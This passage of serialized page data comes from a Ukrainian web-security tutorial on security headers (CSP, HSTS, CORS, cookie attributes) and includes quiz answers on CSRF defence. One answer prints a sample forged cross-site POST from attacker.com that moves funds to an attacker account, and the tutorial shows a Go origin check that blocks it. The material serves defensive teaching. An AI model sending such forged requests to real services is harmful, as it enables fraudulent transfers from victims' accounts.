upgrade-insecure-requests\n",[4214,12242,12243],{"class":4216,"line":4353},[4214,12244,5429],{"emptyLinePlaceholder":5428},[4214,12246,12247],{"class":4216,"line":4382},[4214,12248,12249],{"class":4301},"# Захист від Clickjacking\n",[4214,12251,12252,12254,12256],{"class":4216,"line":4415},[4214,12253,9762],{"class":4224},[4214,12255,3917],{"class":4338},[4214,12257,9795],{"class":4316},[4214,12259,12260],{"class":4216,"line":4424},[4214,12261,5429],{"emptyLinePlaceholder":5428},[4214,12263,12264],{"class":4216,"line":4433},[4214,12265,12266],{"class":4301},"# MIME Sniffing захист\n",[4214,12268,12269,12271,12273],{"class":4216,"line":4720},[4214,12270,10015],{"class":4224},[4214,12272,3917],{"class":4338},[4214,12274,10020],{"class":4316},[4214,12276,12277],{"class":4216,"line":4726},[4214,12278,5429],{"emptyLinePlaceholder":5428},[4214,12280,12281],{"class":4216,"line":4732},[4214,12282,12283],{"class":4301},"# Referrer Policy\n",[4214,12285,12286,12288,12290],{"class":4216,"line":4741},[4214,12287,10214],{"class":4224},[4214,12289,3917],{"class":4338},[4214,12291,10393],{"class":4316},[4214,12293,12294],{"class":4216,"line":4750},[4214,12295,5429],{"emptyLinePlaceholder":5428},[4214,12297,12298],{"class":4216,"line":7203},[4214,12299,12300],{"class":4301},"# CORS (для API endpoint)\n",[4214,12302,12303,12305,12307],{"class":4216,"line":7209},[4214,12304,4473],{"class":4224},[4214,12306,3917],{"class":4338},[4214,12308,5345],{"class":4316},[4214,12310,12311,12313,12315],{"class":4216,"line":7214},[4214,12312,6889],{"class":4224},[4214,12314,3917],{"class":4338},[4214,12316,6894],{"class":4316},[4214,12318,12319,12321,12323],{"class":4216,"line":7220},[4214,12320,6093],{"class":4224},[4214,12322,3917],{"class":4338},[4214,12324,12325],{"class":4316}," GET, POST, PUT, DELETE\n",[4214,12327,12328,12330,12332],{"class":4216,"line":7225},[4214,12329,6103],{"class":4224},[4214,12331,3917],{"class":4338},[4214,12333,6108],{"class":4316},[4214,12335,12336,12338,12340],{"class":4216,"line":7231},[4214,12337,6899],{"class":4224},[4214,12339,3917],{"class":4338},[4214,12341,6904],{"class":4316},[4214,12343,12344],{"class":4216,"line":7237},[4214,12345,5429],{"emptyLinePlaceholder":5428},[4214,12347,12348],{"class":4216,"line":7243},[4214,12349,12350],{"class":4301},"# Cookies з безпечними атрибутами\n",[4214,12352,12353,12355,12357],{"class":4216,"line":7248},[4214,12354,4803],{"class":4224},[4214,12356,3917],{"class":4338},[4214,12358,12359],{"class":4316}," sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=3600\n",[4214,12361,12362],{"class":4216,"line":7253},[4214,12363,5429],{"emptyLinePlaceholder":5428},[4214,12365,12366,12368,12370,12372],{"class":4216,"line":7259},[4214,12367,4221],{"class":4220},[4214,12369,4225],{"class":4338},[4214,12371,4229],{"class":4338},[4214,12373,4232],{"class":4220},[4214,12375,12376,12378,12380],{"class":4216,"line":7264},[4214,12377,4238],{"class":4220},[4214,12379,4209],{"class":4224},[4214,12381,4232],{"class":4220},[4214,12383,12384,12386,12388],{"class":4216,"line":7270},[4214,12385,4238],{"class":4220},[4214,12387,4250],{"class":4224},[4214,12389,4232],{"class":4220},[4214,12391,12392,12394,12396,12398,12401,12403,12405],{"class":4216,"line":7275},[4214,12393,8790],{"class":4220},[4214,12395,4256],{"class":4224},[4214,12397,4259],{"class":4220},[4214,12399,12400],{"class":4262},"Secure Application",[4214,12402,4266],{"class":4220},[4214,12404,4256],{"class":4224},[4214,12406,4232],{"class":4220},[4214,12408,12409,12411,12413,12415,12417,12420,12422,12424,12427,12429,12431],{"class":4216,"line":7281},[4214,12410,8790],{"class":4220},[4214,12412,4293],{"class":4224},[4214,12414,9012],{"class":4228},[4214,12416,4558],{"class":4262},[4214,12418,12419],{"class":4561},"\"random123\"",[4214,12421,4565],{"class":4228},[4214,12423,4558],{"class":4262},[4214,12425,12426],{"class":4561},"\"\u002Fjs\u002Fapp.js\"",[4214,12428,4271],{"class":4220},[4214,12430,4293],{"class":4224},[4214,12432,4232],{"class":4220},[4214,12434,12435,12437,12439],{"class":4216,"line":7287},[4214,12436,4266],{"class":4220},[4214,12438,4250],{"class":4224},[4214,12440,4232],{"class":4220},[4214,12442,12443,12445,12447],{"class":4216,"line":7293},[4214,12444,4238],{"class":4220},[4214,12446,4283],{"class":4224},[4214,12448,4232],{"class":4220},[4214,12450,12451,12453,12455,12457,12460,12462,12464],{"class":4216,"line":7298},[4214,12452,8790],{"class":4220},[4214,12454,3734],{"class":4224},[4214,12456,4259],{"class":4220},[4214,12458,12459],{"class":4262},"Захищений застосунок",[4214,12461,4266],{"class":4220},[4214,12463,3734],{"class":4224},[4214,12465,4232],{"class":4220},[4214,12467,12468,12470,12472],{"class":4216,"line":7303},[4214,12469,4266],{"class":4220},[4214,12471,4283],{"class":4224},[4214,12473,4232],{"class":4220},[4214,12475,12476,12478,12480],{"class":4216,"line":7309},[4214,12477,4266],{"class":4220},[4214,12479,4209],{"class":4224},[4214,12481,4232],{"class":4220},[3738,12483,12484,12515,12549,12578],{},[3741,12485,12488,12492],{"icon":12486,"title":12487},"i-lucide-shield","🛡️ CORS",[3844,12489,12490],{},[3782,12491,8263],{},[3746,12493,12494,12499,12505,12510],{},[3749,12495,8278,12496,12498],{},[3793,12497,5181],{}," проти білого списку",[3749,12500,12501,12502,12504],{},"Ніколи ",[3793,12503,5612],{}," з credentials",[3749,12506,8304,12507,12509],{},[3793,12508,6113],{}," для кешування preflight",[3749,12511,8288,12512,12514],{},[3793,12513,6975],{}," для CDN\u002Fпроксі",[3741,12516,12518,12523],{"icon":3577,"title":12517},"🔒 CSP",[3844,12519,12520],{},[3782,12521,12522],{},"Мінімальна політика:",[3746,12524,12525,12530,12535,12541,12546],{},[3749,12526,12527,12529],{},[3793,12528,8907],{}," — блокувати все за замовчуванням",[3749,12531,12532,12534],{},[3793,12533,8913],{}," — лише власні скрипти",[3749,12536,12537,12540],{},[3793,12538,12539],{},"object-src 'none'"," — блокувати плагіни",[3749,12542,12543,12545],{},[3793,12544,8953],{}," — захист від Clickjacking",[3749,12547,12548],{},"Використовуйте nonce для inline-скриптів",[3741,12550,12552,12557],{"icon":3775,"title":12551},"🔐 HSTS",[3844,12553,12554],{},[3782,12555,12556],{},"Налаштування:",[3746,12558,12559,12565,12570,12575],{},[3749,12560,12561,12564],{},[3793,12562,12563],{},"max-age=31536000"," (1 рік мінімум)",[3749,12566,12567,12569],{},[3793,12568,9500],{}," якщо всі субдомени на HTTPS",[3749,12571,12572,12574],{},[3793,12573,9553],{}," для включення у браузерний список",[3749,12576,12577],{},"Додайте домен на hstspreload.org",[3741,12579,12582,12587],{"icon":12580,"title":12581},"i-lucide-cookie","🍪 Cookies",[3844,12583,12584],{},[3782,12585,12586],{},"Безпечні атрибути:",[3746,12588,12589,12594,12600,12606],{},[3749,12590,12591,12593],{},[3793,12592,4860],{}," — захист від XSS",[3749,12595,12596,12599],{},[3793,12597,12598],{},"Secure"," — лише через HTTPS",[3749,12601,12602,12605],{},[3793,12603,12604],{},"SameSite=Strict\u002FLax"," — захист від CSRF",[3749,12607,12608,12609],{},"Мінімальний ",[3793,12610,12611],{},"Max-Age",[3831,12613],{},[3834,12615,12617],{"id":12616},"контрольні-питання","Контрольні питання",[7340,12619,12620],{},[7343,12621,12623,12635,12641],{"icon":7345,"label":12622},"Питання 1: Налаштування CORS для автентифікованого API",[3844,12624,12625,12628,12629,12631,12632,12634],{},[3782,12626,12627],{},"Завдання:"," Ваш API на ",[3793,12630,3893],{}," повинен приймати автентифіковані запити (з cookies) від фронтенду на ",[3793,12633,3889],{},". Напишіть повний набір CORS-заголовків для:",[3844,12636,12637,12638,12640],{},"a) Preflight OPTIONS-відповіді",[3999,12639],{},"\nb) Фактичної GET-відповіді",[12642,12643,12645,12650,12723,12728,12820,12825],"collapsible",{"label":12644},"Показати відповідь",[3844,12646,12647],{},[3782,12648,12649],{},"a) Preflight OPTIONS-відповідь:",[4205,12651,12653],{"className":4794,"code":12652,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 204 No Content\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS\nAccess-Control-Allow-Headers: Content-Type, Authorization\nAccess-Control-Allow-Credentials: true\nAccess-Control-Max-Age: 86400\nVary: Origin\nDate: Sat, 29 Aug 2026 14:00:00 GMT\n",[3793,12654,12655,12667,12675,12683,12691,12699,12707,12715],{"__ignoreMap":4210},[4214,12656,12657,12659,12661,12663,12665],{"class":4216,"line":4217},[4214,12658,5319],{"class":4338},[4214,12660,5322],{"class":4262},[4214,12662,5390],{"class":5325},[4214,12664,6077],{"class":5325},[4214,12666,6080],{"class":4316},[4214,12668,12669,12671,12673],{"class":4216,"line":4235},[4214,12670,4473],{"class":4224},[4214,12672,3917],{"class":4338},[4214,12674,5345],{"class":4316},[4214,12676,12677,12679,12681],{"class":4216,"line":4245},[4214,12678,6093],{"class":4224},[4214,12680,3917],{"class":4338},[4214,12682,6098],{"class":4316},[4214,12684,12685,12687,12689],{"class":4216,"line":4278},[4214,12686,6103],{"class":4224},[4214,12688,3917],{"class":4338},[4214,12690,6108],{"class":4316},[4214,12692,12693,12695,12697],{"class":4216,"line":4288},[4214,12694,6889],{"class":4224},[4214,12696,3917],{"class":4338},[4214,12698,6894],{"class":4316},[4214,12700,12701,12703,12705],{"class":4216,"line":4298},[4214,12702,6113],{"class":4224},[4214,12704,3917],{"class":4338},[4214,12706,6118],{"class":4316},[4214,12708,12709,12711,12713],{"class":4216,"line":4305},[4214,12710,6899],{"class":4224},[4214,12712,3917],{"class":4338},[4214,12714,6904],{"class":4316},[4214,12716,12717,12719,12721],{"class":4216,"line":4323},[4214,12718,6123],{"class":4224},[4214,12720,3917],{"class":4338},[4214,12722,6128],{"class":4316},[3844,12724,12725],{},[3782,12726,12727],{},"b) Фактична GET-відповідь:",[4205,12729,12731],{"className":4794,"code":12730,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson; charset=utf-8\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\nAccess-Control-Allow-Credentials: true\nVary: Origin\nContent-Length: 234\n\n{\"id\":42,\"email\":\"user@example.com\",\"data\":\"...\"}\n",[3793,12732,12733,12745,12753,12761,12769,12777,12786,12790],{"__ignoreMap":4210},[4214,12734,12735,12737,12739,12741,12743],{"class":4216,"line":4217},[4214,12736,5319],{"class":4338},[4214,12738,5322],{"class":4262},[4214,12740,5390],{"class":5325},[4214,12742,5393],{"class":5325},[4214,12744,5396],{"class":4316},[4214,12746,12747,12749,12751],{"class":4216,"line":4235},[4214,12748,5227],{"class":4224},[4214,12750,3917],{"class":4338},[4214,12752,5405],{"class":4316},[4214,12754,12755,12757,12759],{"class":4216,"line":4245},[4214,12756,4473],{"class":4224},[4214,12758,3917],{"class":4338},[4214,12760,5345],{"class":4316},[4214,12762,12763,12765,12767],{"class":4216,"line":4278},[4214,12764,6889],{"class":4224},[4214,12766,3917],{"class":4338},[4214,12768,6894],{"class":4316},[4214,12770,12771,12773,12775],{"class":4216,"line":4288},[4214,12772,6899],{"class":4224},[4214,12774,3917],{"class":4338},[4214,12776,6904],{"class":4316},[4214,12778,12779,12781,12783],{"class":4216,"line":4298},[4214,12780,5418],{"class":4224},[4214,12782,3917],{"class":4338},[4214,12784,12785],{"class":4316}," 234\n",[4214,12787,12788],{"class":4216,"line":4305},[4214,12789,5429],{"emptyLinePlaceholder":5428},[4214,12791,12792,12794,12796,12798,12800,12802,12804,12806,12808,12810,12813,12815,12818],{"class":4216,"line":4323},[4214,12793,5660],{"class":4262},[4214,12795,5438],{"class":5437},[4214,12797,3917],{"class":4262},[4214,12799,6919],{"class":5325},[4214,12801,5446],{"class":4262},[4214,12803,6276],{"class":5437},[4214,12805,3917],{"class":4262},[4214,12807,6281],{"class":4316},[4214,12809,5446],{"class":4262},[4214,12811,12812],{"class":5437},"\"data\"",[4214,12814,3917],{"class":4262},[4214,12816,12817],{"class":4316},"\"...\"",[4214,12819,4729],{"class":4262},[3844,12821,12822],{},[3782,12823,12824],{},"Критичні моменти:",[3746,12826,12827,12835,12840,12845],{},[3749,12828,12829,6963,12832,12834],{},[3782,12830,12831],{},"Конкретне джерело",[3793,12833,5612],{},", оскільки використовуються credentials.",[3749,12836,12837,12839],{},[3793,12838,6714],{}," у обох відповідях.",[3749,12841,12842,12844],{},[3793,12843,6975],{}," для коректного кешування на CDN.",[3749,12846,12847,12849],{},[3793,12848,6158],{}," кешує preflight на 1 день.",[3844,12851,12852],{},"::",[7343,12854,12856,12861,12881],{"icon":7345,"label":12855},"Питання 2: Створення суворої CSP-політики",[3844,12857,12858,12860],{},[3782,12859,12627],{}," Створіть CSP-політику для SPA-застосунку з наступними вимогами:",[3746,12862,12863,12866,12869,12872,12875,12878],{},[3749,12864,12865],{},"Скрипти лише з власного домену",[3749,12867,12868],{},"Стилі з власного домену + Google Fonts",[3749,12870,12871],{},"Зображення з власного домену, data URLs та HTTPS-CDN",[3749,12873,12874],{},"AJAX лише до власного API на субдомені",[3749,12876,12877],{},"Повна заборона iframe",[3749,12879,12880],{},"Блокування inline-скриптів без nonce",[12642,12882,12883,12897,12902],{"label":12644},[4205,12884,12886],{"className":4794,"code":12885,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-RANDOM_VALUE'; style-src 'self' https:\u002F\u002Ffonts.googleapis.com; font-src 'self' https:\u002F\u002Ffonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https:\u002F\u002Fapi.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests\n",[3793,12887,12888],{"__ignoreMap":4210},[4214,12889,12890,12892,12894],{"class":4216,"line":4217},[4214,12891,8352],{"class":4224},[4214,12893,3917],{"class":4338},[4214,12895,12896],{"class":4316}," default-src 'none'; script-src 'self' 'nonce-RANDOM_VALUE'; style-src 'self' https:\u002F\u002Ffonts.googleapis.com; font-src 'self' https:\u002F\u002Ffonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https:\u002F\u002Fapi.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests\n",[3844,12898,12899],{},[3782,12900,12901],{},"Пояснення директив:",[3746,12903,12904,12909,12915,12921,12927,12932,12937,12942,12947,12952,12957],{},[3749,12905,12906,12908],{},[3793,12907,8907],{}," — блокувати все за замовчуванням.",[3749,12910,12911,12914],{},[3793,12912,12913],{},"script-src 'self' 'nonce-RANDOM_VALUE'"," — власні скрипти + inline з nonce.",[3749,12916,12917,12920],{},[3793,12918,12919],{},"style-src 'self' https:\u002F\u002Ffonts.googleapis.com"," — власні + Google Fonts.",[3749,12922,12923,12926],{},[3793,12924,12925],{},"font-src 'self' https:\u002F\u002Ffonts.gstatic.com"," — власні шрифти + Google.",[3749,12928,12929,12931],{},[3793,12930,8925],{}," — власні зображення, data URLs, будь-які HTTPS.",[3749,12933,12934,12936],{},[3793,12935,8931],{}," — AJAX до власного origin та API.",[3749,12938,12939,12941],{},[3793,12940,8953],{}," — заборона вбудовування у iframe.",[3749,12943,12944,12946],{},[3793,12945,8937],{}," — заборона зміни базового URI.",[3749,12948,12949,12951],{},[3793,12950,8947],{}," — форми лише на власний origin.",[3749,12953,12954,12956],{},[3793,12955,12539],{}," — блокування Flash та інших плагінів.",[3749,12958,12959,12961],{},[3793,12960,8959],{}," — автоматичний апгрейд HTTP → HTTPS.",[7343,12963,12965,12978],{"icon":7345,"label":12964},"Питання 3: Захист від CSRF",[3844,12966,12967,12969,12970,12973,12974,12977],{},[3782,12968,12627],{}," Ваш банківський застосунок має endpoint ",[3793,12971,12972],{},"\u002Ftransfer"," (POST), який виконує перекази коштів. Опишіть ",[3782,12975,12976],{},"три різні методи"," захисту від CSRF-атак з RAW HTTP-прикладами.",[12642,12979,12980,12985,12990,13115,13120,13174,13180,13182,13187,13192,13206,13217,13219,13224,13229,13306,13311,13387,13391,13479],{"label":12644},[3844,12981,12982],{},[3782,12983,12984],{},"Метод 1: CSRF-токени",[3844,12986,12987],{},[3782,12988,12989],{},"HTML-форма з токеном:",[4205,12991,12993],{"className":4207,"code":12992,"language":4209,"meta":4210,"style":4210},"\u003Cform action=\"\u002Ftransfer\" method=\"POST\">\n  \u003Cinput type=\"hidden\" name=\"csrf_token\" value=\"crypto-random-unpredictable-abc123xyz\">\n  \u003Cinput name=\"to\" placeholder=\"Рахунок отримувача\">\n  \u003Cinput name=\"amount\" placeholder=\"Сума\">\n  \u003Cbutton type=\"submit\">Переказати\u003C\u002Fbutton>\n\u003C\u002Fform>\n",[3793,12994,12995,13015,13042,13064,13085,13107],{"__ignoreMap":4210},[4214,12996,12997,12999,13001,13003,13005,13007,13009,13011,13013],{"class":4216,"line":4217},[4214,12998,4238],{"class":4220},[4214,13000,11036],{"class":4224},[4214,13002,11046],{"class":4228},[4214,13004,4558],{"class":4262},[4214,13006,11243],{"class":4561},[4214,13008,11054],{"class":4228},[4214,13010,4558],{"class":4262},[4214,13012,11059],{"class":4561},[4214,13014,4232],{"class":4220},[4214,13016,13017,13019,13021,13023,13025,13027,13029,13031,13033,13035,13037,13040],{"class":4216,"line":4235},[4214,13018,11066],{"class":4220},[4214,13020,11069],{"class":4224},[4214,13022,11072],{"class":4228},[4214,13024,4558],{"class":4262},[4214,13026,11077],{"class":4561},[4214,13028,11080],{"class":4228},[4214,13030,4558],{"class":4262},[4214,13032,11270],{"class":4561},[4214,13034,11088],{"class":4228},[4214,13036,4558],{"class":4262},[4214,13038,13039],{"class":4561},"\"crypto-random-unpredictable-abc123xyz\"",[4214,13041,4232],{"class":4220},[4214,13043,13044,13046,13048,13050,13052,13054,13057,13059,13062],{"class":4216,"line":4245},[4214,13045,11066],{"class":4220},[4214,13047,11069],{"class":4224},[4214,13049,11080],{"class":4228},[4214,13051,4558],{"class":4262},[4214,13053,11085],{"class":4561},[4214,13055,13056],{"class":4228}," placeholder",[4214,13058,4558],{"class":4262},[4214,13060,13061],{"class":4561},"\"Рахунок отримувача\"",[4214,13063,4232],{"class":4220},[4214,13065,13066,13068,13070,13072,13074,13076,13078,13080,13083],{"class":4216,"line":4278},[4214,13067,11066],{"class":4220},[4214,13069,11069],{"class":4224},[4214,13071,11080],{"class":4228},[4214,13073,4558],{"class":4262},[4214,13075,11114],{"class":4561},[4214,13077,13056],{"class":4228},[4214,13079,4558],{"class":4262},[4214,13081,13082],{"class":4561},"\"Сума\"",[4214,13084,4232],{"class":4220},[4214,13086,13087,13089,13091,13093,13095,13097,13099,13101,13103,13105],{"class":4216,"line":4288},[4214,13088,11066],{"class":4220},[4214,13090,11328],{"class":4224},[4214,13092,11072],{"class":4228},[4214,13094,4558],{"class":4262},[4214,13096,11335],{"class":4561},[4214,13098,4259],{"class":4220},[4214,13100,11340],{"class":4262},[4214,13102,4266],{"class":4220},[4214,13104,11328],{"class":4224},[4214,13106,4232],{"class":4220},[4214,13108,13109,13111,13113],{"class":4216,"line":4298},[4214,13110,4266],{"class":4220},[4214,13112,11036],{"class":4224},[4214,13114,4232],{"class":4220},[3844,13116,13117],{},[3782,13118,13119],{},"Запит:",[4205,13121,13123],{"className":4794,"code":13122,"language":4796,"meta":4210,"style":4210},"POST \u002Ftransfer HTTP\u002F1.1\nHost: bank.com\nContent-Type: application\u002Fx-www-form-urlencoded\nCookie: sessionId=user-session-abc\n\ncsrf_token=crypto-random-unpredictable-abc123xyz&to=recipient-account&amount=5000\n",[3793,13124,13125,13138,13147,13156,13165,13169],{"__ignoreMap":4210},[4214,13126,13127,13129,13132,13134,13136],{"class":4216,"line":4217},[4214,13128,5208],{"class":4622},[4214,13130,13131],{"class":4262}," \u002Ftransfer ",[4214,13133,5319],{"class":4338},[4214,13135,5322],{"class":4262},[4214,13137,5326],{"class":5325},[4214,13139,13140,13142,13144],{"class":4216,"line":4235},[4214,13141,5331],{"class":4224},[4214,13143,3917],{"class":4338},[4214,13145,13146],{"class":4316}," bank.com\n",[4214,13148,13149,13151,13153],{"class":4216,"line":4245},[4214,13150,5227],{"class":4224},[4214,13152,3917],{"class":4338},[4214,13154,13155],{"class":4316}," application\u002Fx-www-form-urlencoded\n",[4214,13157,13158,13160,13162],{"class":4216,"line":4278},[4214,13159,6825],{"class":4224},[4214,13161,3917],{"class":4338},[4214,13163,13164],{"class":4316}," sessionId=user-session-abc\n",[4214,13166,13167],{"class":4216,"line":4288},[4214,13168,5429],{"emptyLinePlaceholder":5428},[4214,13170,13171],{"class":4216,"line":4298},[4214,13172,13173],{"class":4262},"csrf_token=crypto-random-unpredictable-abc123xyz&to=recipient-account&amount=5000\n",[3844,13175,13176,13179],{},[3782,13177,13178],{},"Сервер перевіряє:"," Токен з форми співпадає з токеном у сесії користувача.",[3831,13181],{},[3844,13183,13184],{},[3782,13185,13186],{},"Метод 2: SameSite Cookies",[3844,13188,13189],{},[3782,13190,13191],{},"Встановлення session cookie:",[4205,13193,13195],{"className":4794,"code":13194,"language":4796,"meta":4210,"style":4210},"Set-Cookie: sessionId=user-session-abc; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=3600\n",[3793,13196,13197],{"__ignoreMap":4210},[4214,13198,13199,13201,13203],{"class":4216,"line":4217},[4214,13200,4803],{"class":4224},[4214,13202,3917],{"class":4338},[4214,13204,13205],{"class":4316}," sessionId=user-session-abc; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=3600\n",[3844,13207,13208,9448,13210,13213,13214,13216],{},[3782,13209,10494],{},[3782,13211,13212],{},"не надсилає"," cookie у POST-запитах, ініційованих з інших сайтів. CSRF-атака з ",[3793,13215,5822],{}," не матиме автентифікації.",[3831,13218],{},[3844,13220,13221],{},[3782,13222,13223],{},"Метод 3: Перевірка Origin\u002FReferer",[3844,13225,13226],{},[3782,13227,13228],{},"Запит від легітимного фронтенду:",[4205,13230,13232],{"className":4794,"code":13231,"language":4796,"meta":4210,"style":4210},"POST \u002Ftransfer HTTP\u002F1.1\nHost: bank.com\nOrigin: https:\u002F\u002Fbank.com\nReferer: https:\u002F\u002Fbank.com\u002Fdashboard\nCookie: sessionId=user-session-abc\n\n{\"to\":\"recipient-account\",\"amount\":5000}\n",[3793,13233,13234,13246,13254,13263,13272,13280,13284],{"__ignoreMap":4210},[4214,13235,13236,13238,13240,13242,13244],{"class":4216,"line":4217},[4214,13237,5208],{"class":4622},[4214,13239,13131],{"class":4262},[4214,13241,5319],{"class":4338},[4214,13243,5322],{"class":4262},[4214,13245,5326],{"class":5325},[4214,13247,13248,13250,13252],{"class":4216,"line":4235},[4214,13249,5331],{"class":4224},[4214,13251,3917],{"class":4338},[4214,13253,13146],{"class":4316},[4214,13255,13256,13258,13260],{"class":4216,"line":4245},[4214,13257,5181],{"class":4224},[4214,13259,3917],{"class":4338},[4214,13261,13262],{"class":4316}," https:\u002F\u002Fbank.com\n",[4214,13264,13265,13267,13269],{"class":4216,"line":4278},[4214,13266,7387],{"class":4224},[4214,13268,3917],{"class":4338},[4214,13270,13271],{"class":4316}," https:\u002F\u002Fbank.com\u002Fdashboard\n",[4214,13273,13274,13276,13278],{"class":4216,"line":4288},[4214,13275,6825],{"class":4224},[4214,13277,3917],{"class":4338},[4214,13279,13164],{"class":4316},[4214,13281,13282],{"class":4216,"line":4298},[4214,13283,5429],{"emptyLinePlaceholder":5428},[4214,13285,13286,13288,13290,13292,13295,13297,13299,13301,13304],{"class":4216,"line":4305},[4214,13287,5660],{"class":4262},[4214,13289,11085],{"class":5437},[4214,13291,3917],{"class":4262},[4214,13293,13294],{"class":4316},"\"recipient-account\"",[4214,13296,5446],{"class":4262},[4214,13298,11114],{"class":5437},[4214,13300,3917],{"class":4262},[4214,13302,13303],{"class":5325},"5000",[4214,13305,4729],{"class":4262},[3844,13307,13308],{},[3782,13309,13310],{},"Запит від зловмисника (буде заблокований сервером):",[4205,13312,13314],{"className":4794,"code":13313,"language":4796,"meta":4210,"style":4210},"POST \u002Ftransfer HTTP\u002F1.1\nHost: bank.com\nOrigin: https:\u002F\u002Fattacker.com\nReferer: https:\u002F\u002Fattacker.com\u002Ffake-page\nCookie: sessionId=user-session-abc\n\n{\"to\":\"attacker-account\",\"amount\":10000}\n",[3793,13315,13316,13328,13336,13345,13354,13362,13366],{"__ignoreMap":4210},[4214,13317,13318,13320,13322,13324,13326],{"class":4216,"line":4217},[4214,13319,5208],{"class":4622},[4214,13321,13131],{"class":4262},[4214,13323,5319],{"class":4338},[4214,13325,5322],{"class":4262},[4214,13327,5326],{"class":5325},[4214,13329,13330,13332,13334],{"class":4216,"line":4235},[4214,13331,5331],{"class":4224},[4214,13333,3917],{"class":4338},[4214,13335,13146],{"class":4316},[4214,13337,13338,13340,13342],{"class":4216,"line":4245},[4214,13339,5181],{"class":4224},[4214,13341,3917],{"class":4338},[4214,13343,13344],{"class":4316}," https:\u002F\u002Fattacker.com\n",[4214,13346,13347,13349,13351],{"class":4216,"line":4278},[4214,13348,7387],{"class":4224},[4214,13350,3917],{"class":4338},[4214,13352,13353],{"class":4316}," https:\u002F\u002Fattacker.com\u002Ffake-page\n",[4214,13355,13356,13358,13360],{"class":4216,"line":4288},[4214,13357,6825],{"class":4224},[4214,13359,3917],{"class":4338},[4214,13361,13164],{"class":4316},[4214,13363,13364],{"class":4216,"line":4298},[4214,13365,5429],{"emptyLinePlaceholder":5428},[4214,13367,13368,13370,13372,13374,13376,13378,13380,13382,13385],{"class":4216,"line":4305},[4214,13369,5660],{"class":4262},[4214,13371,11085],{"class":5437},[4214,13373,3917],{"class":4262},[4214,13375,11093],{"class":4316},[4214,13377,5446],{"class":4262},[4214,13379,11114],{"class":5437},[4214,13381,3917],{"class":4262},[4214,13383,13384],{"class":5325},"10000",[4214,13386,4729],{"class":4262},[3844,13388,13389],{},[3782,13390,13178],{},[4205,13392,13394],{"className":7544,"code":13393,"language":7546,"meta":4210,"style":4210},"origin := r.Header.Get(\"Origin\")\nif origin != \"https:\u002F\u002Fbank.com\" && origin != \"https:\u002F\u002Fapp.bank.com\" {\n    http.Error(w, \"Invalid Origin\", http.StatusForbidden)\n    return\n}\n",[3793,13395,13396,13419,13440,13470,13475],{"__ignoreMap":4210},[4214,13397,13398,13400,13402,13405,13407,13409,13411,13413,13415,13417],{"class":4216,"line":4217},[4214,13399,7670],{"class":4334},[4214,13401,7618],{"class":4262},[4214,13403,13404],{"class":4334},"r",[4214,13406,3796],{"class":4262},[4214,13408,7630],{"class":4334},[4214,13410,3796],{"class":4262},[4214,13412,7635],{"class":4308},[4214,13414,4313],{"class":4262},[4214,13416,7640],{"class":4316},[4214,13418,4320],{"class":4262},[4214,13420,13421,13423,13425,13427,13429,13432,13434,13436,13438],{"class":4216,"line":4235},[4214,13422,12130],{"class":4622},[4214,13424,8016],{"class":4334},[4214,13426,11443],{"class":4262},[4214,13428,11668],{"class":4316},[4214,13430,13431],{"class":4262}," && ",[4214,13433,7670],{"class":4334},[4214,13435,11443],{"class":4262},[4214,13437,11673],{"class":4316},[4214,13439,4626],{"class":4262},[4214,13441,13442,13445,13447,13450,13452,13454,13456,13459,13461,13463,13465,13468],{"class":4216,"line":4245},[4214,13443,13444],{"class":4334},"    http",[4214,13446,3796],{"class":4262},[4214,13448,13449],{"class":4308},"Error",[4214,13451,4313],{"class":4262},[4214,13453,10839],{"class":4334},[4214,13455,3950],{"class":4262},[4214,13457,13458],{"class":4316},"\"Invalid Origin\"",[4214,13460,3950],{"class":4262},[4214,13462,4796],{"class":4334},[4214,13464,3796],{"class":4262},[4214,13466,13467],{"class":4334},"StatusForbidden",[4214,13469,4320],{"class":4262},[4214,13471,13472],{"class":4216,"line":4278},[4214,13473,13474],{"class":4622},"    return\n",[4214,13476,13477],{"class":4216,"line":4288},[4214,13478,4729],{"class":4262},[3844,13480,13481,13484,10408,13486,13489],{},[3782,13482,13483],{},"Комбінований підхід (найкращий):",[3999,13485],{},[3782,13487,13488],{},"всі три методи одночасно"," для максимального захисту: SameSite cookies + CSRF-токени + перевірка Origin.",[3844,13491,12852],{},[3831,13493],{},[3834,13495,13497],{"id":13496},"додаткові-ресурси","Додаткові ресурси",[3919,13499,13500,13506,13512,13518],{},[3749,13501,13502,13505],{},[3782,13503,13504],{},"OWASP Top 10"," — список найнебезпечніших вразливостей веб-застосунків.",[3749,13507,13508,13511],{},[3782,13509,13510],{},"MDN Web Docs: CORS"," — детальна документація з прикладами.",[3749,13513,13514,13517],{},[3782,13515,13516],{},"Content Security Policy Reference"," — повний довідник CSP-директив.",[3749,13519,13520,13522],{},[3782,13521,9572],{}," — офіційний сайт для додавання доменів до preload list.",[4475,13524,13525,4092,13528,13532],{},[3782,13526,13527],{},"Наступний розділ:",[9587,13529,13531],{"href":13530},".\u002Fhttps-and-tls","HTTPS та TLS"," — криптографічні основи HTTPS, handshake TLS 1.3, сертифікати, Certificate Pinning, Perfect Forward Secrecy.",[11811,13534,13535],{},"html pre.shiki code .s0P7L, html code.shiki .s0P7L{--shiki-light:#800000;--shiki-default:#808080;--shiki-dark:#808080}html pre.shiki code .sKtos, html code.shiki .sKtos{--shiki-light:#800000;--shiki-default:#569CD6;--shiki-dark:#569CD6}html pre.shiki code .sa4r_, html code.shiki .sa4r_{--shiki-light:#E50000;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .sHH4Y, html code.shiki .sHH4Y{--shiki-light:#000000;--shiki-default:#D4D4D4;--shiki-dark:#D4D4D4}html pre.shiki code .spJ8K, html code.shiki 